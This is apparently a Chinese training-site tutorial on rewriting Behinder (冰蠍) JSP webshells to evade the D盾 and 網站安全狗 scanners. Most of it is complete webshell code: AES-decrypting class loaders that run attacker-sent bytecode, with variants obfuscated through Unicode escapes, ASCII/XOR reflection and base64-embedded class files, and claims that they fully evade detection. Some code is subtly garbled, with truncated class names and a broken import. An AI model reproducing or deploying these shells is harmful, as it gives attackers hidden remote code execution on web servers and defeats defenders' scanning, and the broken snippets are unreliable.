雨筍教育小編又來分享干貨了,菜鳥們覺得有用的快收藏吧!更多滲透技術干貨了解可加 :15386496074
從冰蠍v2.0版本的木馬開始講解吧!
環境:利用xmapp里面自帶的tomcat建站
測試時,將后門文件直接存放在 D:\xampp\tomcat\webapps\ROOT 中,然后訪問 http:\xxx\shell.jsp ;即可訪問后門文件。
1.冰蠍v2.0
1.1.流量分析
之前在.net篇中,我們大致分析了關於冰蠍2.0中請求的流程,這里就不多贅述了,流程圖如下:
下面我們通過流量分析驗證冰蠍2.0的請求流程。
首先是進行了get請求服務器端,然后服務器端返回了一個隨機的128位密鑰。
客服端Get請求服務器端后,獲取到服務器端返回的密鑰,然后客戶端便開始發送AES加密后的數據流。
1.2.原理分析
流量驗證過程基本完畢,下面我們跟隨作者的角度去理解一下原理吧!(具體可以參考.net魔改篇)我們以調用計算器為例。
(1)服務器端動態解析class文件
在前面的.net篇中,我們可以直接利用Assembly加載byte字節流動態的解析為一個class類對象,然后再用CreateInstance創建一個類的實例對象,但是在java里面並沒有直接提供解析class字節數組的接口。不過classloader內部實現了一個protected的defineClass方法,可以將byte[]直接轉換為Class,方法原型如下:
因為該方法是protected屬性,我們沒辦法在外部直接調用,當然我們可以通過反射來修改保護屬性,不過這里原作者選擇的是一個更方便的方法—子類繼承,直接自定義一個類Myloader繼承classloader,然后在子類Myloader中調用父類的defineClass方法,並返回解析后的class。
代碼如下:我們定義一個類Myloader繼承classloader,然后在子類Myloader中定義一個方法get去調用父類的方法defineClass方法並返回解析完成的class類。
public static class Myloader extends ClassLoader //繼承ClassLoader
{
public Class get(byte[] b)
{
return super.defineClass(b, 0, b.length);
}
}
由於使用反射加載函數調用類方法容易被查殺,因此我們盡量使用object基類默認的方法,然后重寫默認方法以實現我們需要的功能,這一點與.net篇是類似的,不過在 .net篇中我們重寫的是Equals方法,而在java我們重寫的是object類的toString方法。Payload02類代碼如下:(這類我們實現的是一個調用計算器的方法)
package payload01;
import java.io.IOException;
public class payload02 {
@Override
public String toString() {
// TODO Auto-generated method stub
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return "OK";
}
}
編譯上述Payload02文件,然后將class文件讀取並將二進制流進行編碼,然后存一個byte字節數組classStr中,在Payload01中調用classStr時先對其進行解碼 ,然后調用子類Myloader的get方法實現將字節數組classStr轉化為Payload02類,新建一個Payload02類的實例,然后調用重寫的toString方法即可實現我們重寫的功能(這里是簡單的調用計算器)。代碼如下:
package payload01;
import sun.misc.Decoder;
public class payload01 {
public static class Myloader extends ClassLoader //繼承ClassLoader
{
public Class get(byte[] b)
{
return super.defineClass(b, 0, b.length);
}
}
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
String classStr="yv66vgAAADQAKAcAAgEAE3BheWxvYWQwMS9wYXlsb2FkMDIHAAQBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAJDAAFAAYBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTHBheWxvYWQwMS9wYXlsb2FkMDI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwoAEQATBwASAQARamF2YS9sYW5nL1J1bnRpbWUMABQAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsIABcBAAhjYWxjLmV4ZQoAEQAZDAAaABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CgAdAB8HAB4BABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAgAAYBAA9wcmludFN0YWNrVHJhY2UIACIBAAJPSwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEADnBheWxvYWQwMi5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
Decoder code=new sun.misc.Decoder();
Class result=new Myloader().get(code.decodeBuffer(classStr));//將解碼成byte數組,並傳入t類的get函數
System.out.println(result.newInstance().toString()); //調用執行get
}
}
運行成功:
在payload02類中重寫的toString方法可以以string類型返回我們的執行結果,但是卻無法傳入一個object參數。而冰蠍在向服務端以POST的請求方式發送二進制流形式的惡意類,在服務端需要獲取參數並對參數進行執行。因此 我們需要重寫object基類的其他方法以便於實現我們的功能。
如下,可以發現Equals方法可以傳入一個object對象,在Java世界中,Object類是所有類的基類,所以我們可以傳遞任何類型的對象進去。這是與我們的要求最為契合的object基類方法。
重寫的方法找到了,下面看我們要怎么把servlet的內置對象傳進去呢?傳誰呢?
如下,為JSP內置的9個對象。
但是equals方法只接受一個參數,通過對這9個對象分析發現,只要傳遞pageContext進去,便可以間接獲取Request、Response、Seesion等對象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
另外,如果想要順利的在equals中調用Request、Response、Seesion這幾個對象,還需要考慮一個問題,那就是ClassLoader的問題。JVM是通過ClassLoader+類路徑來標識一個類的唯一性的。我們通過調用自定義ClassLoader來defineClass出來的類與Request、Response、Session這些類的ClassLoader不是同一個,所以在equals中訪問這些類會出現java.lang.ClassNotFoundExcep0tion異常。
解決方法就是復寫ClassLoader的如下構造函數,傳遞一個指定的ClassLoader實例進去:
(2)密鑰生成
首先檢測請求方式,如果是帶了密碼字段的GET請求,則隨機產生一個128位的密鑰,並將密鑰寫進Session中,然后通過response發送給客戶端,代碼如下:
if (request.getMethod().equalsIgnoreCase("get")) {
String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
request.getSession().setAttribute("uid", k);
out.println(k);
return;
}
這樣,后續發送payload的時候只需要發送加密后的二進制流,無需發送密鑰,因為密鑰存儲在服務器的session中,因此我們可直接在服務端解密,這時候waf捕捉到的只是一堆毫無意義的二進制數據流。
(3)解密數據,然后執行
當客戶端請求方式為POST時,服務器先從request中取出加密過的二進制數據(格式),代碼如下:
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
new Myloader().get(c.doFinal(new sun.misc.Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();
完整代碼如下:
<%@ page
import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定義ClassLoader的子類Myloader
*/
public static class Myloader extends ClassLoader {
public Myloader(ClassLoader c)
{super(c);}
public Class get(byte[] b) { //定義get方法用來將指定的byte[]傳給父類的defineClass
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getParameter("pass")!=null) { //判斷請求方法是不是帶密碼的握手請求,此處只用參數名作為密碼,參數值可以任意指定
String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16); //隨機生成一個16字節的密鑰
request.getSession().setAttribute("uid", k); //將密鑰寫入當前會話的Session中
out.print(k); //將密鑰發送給客戶端
return; //執行流返回,握手請求時,只產生密鑰,后續的代碼不再執行
}
/*
當請求為非握手請求時,執行下面的分支,准備解密數據並執行
*/
String uploadString= request.getReader().readLine();//從request中取出客戶端傳過來的加密payload
Byte[] encryptedData= new sun.misc.Decoder().decodeBuffer(uploadString); //把payload進行解碼
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 選擇AES解密套件
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //從Session中取出密鑰
Byte[] classData= c.doFinal(encryptedData); //AES解密操作
Object myLoader= new Myloader().get(classData).newInstance(); //通過ClassLoader的子類Myloader的get方法來間接調用defineClass方法,將客戶端發來的二進制class字節數組解析成Class並實例化
String result= myLoader.equals(pageContext); //調用payload class的equals方法,我們在准備payload class的時候,將想要執行的目標代碼封裝到equals方法中即可,將執行結果通過equals中利用response對象返回。
%>
2.冰蠍v3.05魔改
2.1.原理簡述
上面我們已經對冰蠍2.0的木馬原理進行了一個詳細的描述,冰蠍v3.05與v2.0相差不大,我們就不多贅述了,大致把原理講一遍即可,詳情請看上面哦!
如下,可以發現,v3.0並不像2.0一樣需要向服務器請求payload,而是可以直接向服務器發送加密后的數據流,這是因客戶端和服務器端在連接的時候就已經協商好了密鑰,因此在連接的時候直接發送密鑰加密好的數據流即可,服務端獲取數據流后,從session中取出密鑰,然后即可解密讀取數據流的內容。
完整代碼如下:
<%@page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*"
%>
<%
!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默
認連接密碼rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
流量簡單分析如下:
客戶端直接以post的方式向服務器端發送AES加密后的數據流即可,去掉了冰蠍2.0的密鑰協商過程。
2.2.基本變換—逃避靜態特征碼
(1)長句變短
換行拆分基本沒變換,因此就不搞過來了,下面是長句變短之后代碼。(還是挺長的,注釋的是之前變短的語句,但是一直報byte和Byte無法轉換的錯誤,所以就放棄了。) shell01.jsp
<%@page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.Decoder"
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/
session.putValue("u",k);
String uploadString= request.getReader().readLine();//從request中取出客戶端傳過來的加密payload
Cipher c=Cipher.getInstance("AES"); //選擇AES解密套件
c.init(2,new SecretKeySpec(k.getBytes(),"AES")); //賦值AES的密鑰
// String uploadString= request.getReader().readLine();
// Decoder code=new sun.misc.Decoder();
// byte[] encryptedData= new sun.misc.Decoder().decodeBuffer(request.getReader().readLine()); //payload進行解碼
// Byte[] classData= c.doFinal(new sun.misc.Decoder().decodeBuffer(request.getReader().readLine())); //AES解密操作
Object myLoader= new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.Decoder().decodeBuffer(uploadString))).newInstance(); //通過ClassLoader的子類U的g方法來間接調用defineClass方法,將客戶端發來的二進制class字節數組解析成Class並實例化
myLoader.equals(pageContext);//將pageContext傳入重寫的Equals方法中
}
%>
分段之后,逐句驗證特征碼的時候發現網站安全狗的特征碼在於AES解密操作,即函數doFinal。而D盾的特征碼在於解密操作,即Decoder。因此我們之后的思路就是想辦法取出這兩個函數從而達到免殺的目的。
(PS:順帶發現,如果不加<%%>的話,D盾和安全狗特征碼啥的似乎就檢測不出來了,也就是說他會先檢測文件類型是否符合,再檢測特征碼是否正確!)
(2)替換特征函數
在上面我們講到D盾的特征碼為Decoder,因此我們可以嘗試替換加密函數進行繞過,替換有兩種形式,一是java自帶的庫進行替換,還一種就是自己寫,保險,但是有點麻煩,有些自己加密算法與庫里面自帶的還不一樣,因此自定義的時候可以通過加解密前后的異或運算驗證一下與庫自帶的結果是否相同。
查閱資料發現,除了JDK中的sun.misc套件中加解密函數外,的在JDK8及更高版本中的還存在其他的加解密函數,即 java.util.,因此我們可以嘗試進行替換。
代碼如下:shell02.jsp
<%@page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.util..*"
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/
session.putValue("u",k);
String uploadString= request.getReader().readLine();//從request中取出客戶端傳過來的加密payload
Cipher c=Cipher.getInstance("AES"); //選擇AES解密套件
c.init(2,new SecretKeySpec(k.getBytes(),"AES")); //賦值AES的密鑰
Object myLoader= new U(this.getClass().getClassLoader()).g(c.doFinal(.getDecoder().decode(uploadString))).newInstance();
myLoader.equals(pageContext);//將pageContext傳入重寫的Equals方法中
}
%>
替換函數后,D盾就繞過了,但是可以發現網站安全狗還是會報錯的,因為他的關鍵詞doFinal並沒有被過濾掉。這個函數目前不是很熟悉,如果有熟悉的大佬請ddddhm!
(3)Unicode編碼繞過
思路來自於:
https://www.anquanke.com/post/id/206664
需要注意的是,雙引號包含的參數等內容以導入的庫以及一些字符不要進行編碼,否則會導致程序報錯。
原文件如下:
<%@page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*"
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
import庫的那個句話無需修改,而是后面的進行修改,unicode后的編碼如下:處於興趣自己寫了一個unicode的程序,放在附錄,需要的表哥自取哦!shell03.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!\u0063\u006c\u0061\u0073\u0073 \u0055 \u0065\u0078\u0074\u0065\u006e\u0064\u0073 \u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072{\u0055(\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 \u0063){\u0073\u0075\u0070\u0065\u0072(\u0063);} \u0070\u0075\u0062\u006c\u0069\u0063 \u0043\u006c\u0061\u0073\u0073 \u0067(\u0062\u0079\u0074\u0065 []\u0062){ \u0072\u0065\u0074\u0075\u0072\u006e \u0073\u0075\u0070\u0065\u0072.\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073(\u0062,\u0030,\u0062.\u006c\u0065\u006e\u0067\u0074\u0068); }}%><%\u0069\u0066 (\u0072\u0065\u0071\u0075\u0065\u0073\u0074.\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064().\u0065\u0071\u0075\u0061\u006c\u0073("POST")){ \u0053\u0074\u0072\u0069\u006e\u0067 \u006b="e45e329feb5d925b";/*\u008be5\u005bc6\u0094a5\u004e3a\u008fde\u0063a5\u005bc6\u007801\u0033\u0032\u004f4d\u006d\u0064\u0035\u00503c\u007684\u00524d\u0031\u0036\u004f4d,\u009ed8\u008ba4\u008fde\u0063a5\u005bc6\u007801\u0072\u0065\u0062\u0065\u0079\u006f\u006e\u0064*/ \u0073\u0065\u0073\u0073\u0069\u006f\u006e.\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065("u",\u006b); \u0043\u0069\u0070\u0068\u0065\u0072 \u0063=\u0043\u0069\u0070\u0068\u0065\u0072.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065("AES"); \u0063.\u0069\u006e\u0069\u0074(\u0032,\u006e\u0065\u0077 \u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063(\u006b.\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073(),"AES")); \u006e\u0065\u0077 \u0055(\u0074\u0068\u0069\u0073.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073().\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072()).\u0067(\u0063.\u0064\u006f\u0046\u0069\u006e\u0061\u006c(\u006e\u0065\u0077 \u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072(\u0072\u0065\u0071\u0075\u0065\u0073\u0074.\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072().\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065()))).\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065().\u0065\u0071\u0075\u0061\u006c\u0073(\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074);}%>
類比,還記得我們在上面說到D盾和服務器安全狗的關鍵詞嗎?對於D盾的函數我們利用同等函數替換獲得了免殺馬,在本次方法中我們發現unicode編碼后的木馬可以直接被執行,因此我們可以嘗試利用unicode對敏感詞進行編碼替換。替換后的代碼如下,D盾和網站安全狗完全免殺。shell05.jsp
<%@page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*"
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.\u0064\u006f\u0046\u0069\u006e\u0061\u006c(new sun.misc.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
免殺結果如下:
(4)ASCII編碼=反射加載繞過
上面我們知道D盾的免殺為Decoder函數,因此我們可以利用ASCII編碼將函數Decoder進行替換。與unicode的方法類似,我們將敏感函數Decoder進行ASCII編碼,但是jsp並不能直接執行acsII解碼后的字符串,因此我們這里我們選用類反射加載的方式執行Decoder函數。
首先我們對 sun.misc.Decoder 庫進行ASCII編碼,創建一個 sun.misc.Decoder 類,通過類我們實例化一個對象並獲取他的“類庫自帶的”Decoder方法對我們從網頁讀取到的內容進行解密。具體如下:
String uploadString= request.getReader().readLine(); //網頁讀取的內容
/*將sun.misc.Decoder轉換成ASCII碼*/
int[] aa=new int[]{115,117,110,46,109,105,115,99,46,66,65,83,69,54,52,68,101,99,111,100,101,114}; //sun.misc.Decoder編碼為ASCII的內容
String ccstr="";
for (int i = 0;i<aa.length;i++){
ccstr=ccstr+(char)aa[i];
}
Class clazz = Class.forName(ccstr); //獲取到 Class 對象,即sun.misc.Decoder類庫
byte[] ss= (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), uploadString); //實例化sun.misc.Decoder類對象,並且獲取該類的decodeBuffer方法,對網頁獲取到的內容進行解密
Object myLoader= new U(this.getClass().getClassLoader()).g(c.doFinal(ss)).newInstance();
myLoader.equals(pageContext);
具體的冰蠍代碼如下:shell09.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/
session.putValue("u",k);
String uploadString= request.getReader().readLine();
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
/*將sun.misc.Decoder轉換成ASCII碼*/
int[] aa=new int[]{115,117,110,46,109,105,115,99,46,66,65,83,69,54,52,68,101,99,111,100,101,114};
String ccstr="";
for (int i = 0;i<aa.length;i++)
{
ccstr=ccstr+(char)aa[i];
}
Class clazz = Class.forName(ccstr); //獲取到 Class 對象,即sun.misc.Decoder
byte[] ss= (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), uploadString);
Object myLoader= new U(this.getClass().getClassLoader()).g(c.doFinal(ss)).newInstance();
myLoader.equals(pageContext);
}
%>
掃描結果如下:
拓展分享:(分享一個小技巧)
上面我們是直接把sun.misc.Decoder的進行ASCII編碼了,但是實際上如果這些ASCII編碼總是一成不變的話就容易被加入特征庫,因此我們可以對它添加一些其他的小運算,最簡單的就是異或運算了代碼如下,其實除了異或運算的話還可以自行添加一些其他的加解密算法。shell08.jsp
/*將sun.misc.Decoder轉換成ASCII碼^0X10后的ASCII碼*/
int[] aa=new int[]{99,101,126,62,125,121,99,115,62,82,81,67,85,38,36,84,117,115,127,116,117,98};
String ccstr="";
for (int i = 0;i<aa.length;i++){
aa[i]=aa[i]^0x010;
ccstr=ccstr+(char)aa[i];
}
Class clazz = Class.forName(ccstr); //獲取到 Class 對象,即sun.misc.Decoder
2.3.基於重寫的dll加載
(1)整個過程寫入dll—重寫Equals方法(dll直接放入)
本思路的主要過程就是將冰蠍的加解密執行過程放入到dll中,但是加解密的內容,即客戶端傳遞的加payload怎么傳遞給dll中呢?作為參數傳入。
那么問題來了,作為什么方法的參數不容易被發現呢?基類object自帶方法的參數啦,這里我們類似於.net篇,重寫equals方法,然后將參數作為equals方法的參數傳遞給dll。代碼如下,我們先將需要傳遞的參數賦值給一個賦值給一個ArrayList<Object>類型(個人理解為存放對象的數組集合,因為我們需要處傳入的參數,即頁面上設置的k、客戶端傳過來的加密payload即p、頁面指針pageContext類型均為object類型,所以在此定義一個ArrayList<Object>類型容器存放傳入的參數。)
String k="e45e329feb5d925b";
session.putValue("u",k);
String p=request.getReader().readLine();
ArrayList<Object> t=new ArrayList<Object>();
t.add(k);
t.add(p);
t.add(pageContext);
t.add(this.getClass().getClassLoader());
由於我們需要解密執行客戶端傳過來的加密payload即p,他也是一串加密了的byte[],就算解密了也是屬於byte[],因此我們想要執行的話還是需要將其轉換為class解密執行。
又回到了我們最開始討論的問題,即怎么將byte[]轉換為class呢?defineClass方法!但是由於該方法是屬於classloader類內部的protected屬性,因此我們需要先設計一個子類bx繼承classloader類,然后在定義一個方法get獲取classloader父類的defineClass方法。代碼如下:
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
public class bx extends ClassLoader
{
public bx(ClassLoader c){super(c);}
public bx(){super();}
public Class g(byte []b){
return super.defineClass(b,0,b.length);}
@Override
public boolean equals(Object obj) {
try
{
ArrayList<Object> tt=(ArrayList<Object>)obj;
String k=(String)tt.get(0);//密鑰
String p=(String)tt.get(1);//格式密文
// Object pageContext=tt.get(2);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
byte[] x=new sun.misc.Decoder().decodeBuffer(p);//二進制密文
new bx((ClassLoader)tt.get(3)).g(c.doFinal(x)).newInstance().equals(tt.get(2));
} catch(Exception e) {
return false;
}
return true;
}
}
編譯為class並轉為編碼的格式,然后在jsp中加載它。代碼如下,shell06.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String bx="yv66vgAAADQAUQoAEQAlCgARACYKABEAJwcAKAoABAApBwAqCAArCgAsAC0HAC4KAAYALwoACQAwCgAsADEHADIKAA0AJgoADQAzBwA0BwA1CgAQACUKACwANgoAEAA3CgA4ADkKADoAOwcAPAEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAAygpVgEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwA8AQAKU291cmNlRmlsZQEAB2J4LmphdmEMABgAGQwAGAAcDAA9AD4BABNqYXZhL3V0aWwvQXJyYXlMaXN0DAA/AEABABBqYXZhL2xhbmcvU3RyaW5nAQADQUVTBwBBDABCAEMBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABEAEUMABgARgwARwBIAQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwASQBKAQACYngBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIMAEsATAwAHQAeBwBNDABOAE8HAFAMAB8AIAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQADZ2V0AQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7AQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQAPamF2YS9sYW5nL0NsYXNzAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9PYmplY3QAIQAQABEAAAAAAAQAAQAYABkAAQAaAAAAHgACAAIAAAAGKiu3AAGxAAAAAQAbAAAABgABAAAABgABABgAHAABABoAAAAdAAEAAQAAAAUqtwACsQAAAAEAGwAAAAYAAQAAAAcAAQAdAB4AAQAaAAAAIQAEAAIAAAAJKisDK763AAOwAAAAAQAbAAAABgABAAAACQABAB8AIAABABoAAADEAAYABwAAAG0rwAAETSwDtgAFwAAGTiwEtgAFwAAGOgQSB7gACDoFGQUFuwAJWS22AAoSB7cAC7YADLsADVm3AA4ZBLYADzoGuwAQWSwGtgAFwAARtwASGQUZBrYAE7YAFLYAFSwFtgAFtgAWV6cABk0DrASsAAEAAABlAGgAFwACABsAAAAuAAsAAAAPAAUAEAAOABEAGAATAB8AFAAyABUAQAAWAGUAHABoABkAaQAbAGsAHQAhAAAACQAC9wBoBwAiAgABACMAAAACACQ=";
String k="e45e329feb5d925b";
session.putValue("u",k);
String p=request.getReader().readLine();
ArrayList<Object> t=new ArrayList<Object>();
t.add(k);
t.add(p);
t.add(pageContext);
t.add(this.getClass().getClassLoader());
new U(this.getClass().getClassLoader()).g(new sun.misc.Decoder().decodeBuffer(bx)).newInstance().equals(t);}%>
運行結果:
(如下可以發現D盾還是會爆可疑文件,這個其實從上面可以發現,爆出可疑文件主要是因為加密函數Decoder的問題,我們把整個函數進行替換即可繞過,這里只是提供一種繞過的思路啦!)
我們按照上面的編碼把加密函數進行編碼則可以繞過D盾。shell07.jsp
new U(this.getClass().getClassLoader()).g(new sun.misc.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(bx)).newInstance().equals(t);
拓展:代碼講解(代碼有技巧,值得細品)
1.定義的參數類型為什么是ArrayList<Object>呢?
2.最后一個添加的參數this.getClass().getClassLoader()有什么寓意呢?
(2)變換加載方式
上一種方法即將加密后的class放入到文件中生成的網頁馬是比較大的,把class取出后文件的內容立馬變成了601字節,也就是說class的內容占網頁馬的絕大部分內容。為了縮小網頁馬文件的大小,我們可以把class和執行文件分離,即變換加載方式。
我們將之前的txt放入到一個shell.txt文件中,
yv66vgAAADQAUQoAEQAlCgARACYKABEAJwcAKAoABAApBwAqCAArCgAsAC0HAC4KAAYALwoACQAwCgAsADEHADIKAA0AJgoADQAzBwA0BwA1CgAQACUKACwANgoAEAA3CgA4ADkKADoAOwcAPAEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAAygpVgEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwA8AQAKU291cmNlRmlsZQEAB2J4LmphdmEMABgAGQwAGAAcDAA9AD4BABNqYXZhL3V0aWwvQXJyYXlMaXN0DAA/AEABABBqYXZhL2xhbmcvU3RyaW5nAQADQUVTBwBBDABCAEMBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABEAEUMABgARgwARwBIAQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwASQBKAQACYngBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIMAEsATAwAHQAeBwBNDABOAE8HAFAMAB8AIAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQADZ2V0AQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7AQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAA